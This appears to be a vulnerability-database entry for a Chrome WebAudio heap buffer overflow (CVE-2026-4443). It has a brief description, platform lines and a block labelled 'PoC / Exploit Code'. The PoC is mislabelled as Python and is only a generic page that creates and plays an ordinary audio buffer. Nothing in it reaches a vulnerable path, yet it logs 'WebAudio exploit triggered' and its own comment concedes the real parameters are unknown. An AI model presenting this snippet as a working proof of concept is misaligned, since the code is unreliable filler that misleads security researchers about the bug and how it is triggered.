Heap buffer overflow in WebAudio in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.153
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-4443 -->
<!DOCTYPE html>
<html>
<body>
<script>
// Attempt to trigger WebAudio Heap Buffer Overflow
try {
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
// Create a buffer with specific parameters to trigger the vulnerable logic
// Note: Exact parameters depend on the specific bug in version < 146.0.7680.153
var buffer = audioCtx.createBuffer(1, 100000, 48000);
var data = buffer.getChannelData(0);
// Fill with crafted data to attempt corruption
for (var i = 0; i < data.length; i++) {
data[i] = i * 0.001; // Manipulate data
}
var source = audioCtx.createBufferSource();
source.buffer = buffer;
source.connect(audioCtx.destination);
source.start(0);
console.log("WebAudio exploit triggered.");
} catch (e) {
console.log("Error: " + e);
}
</script>
</body>
</html>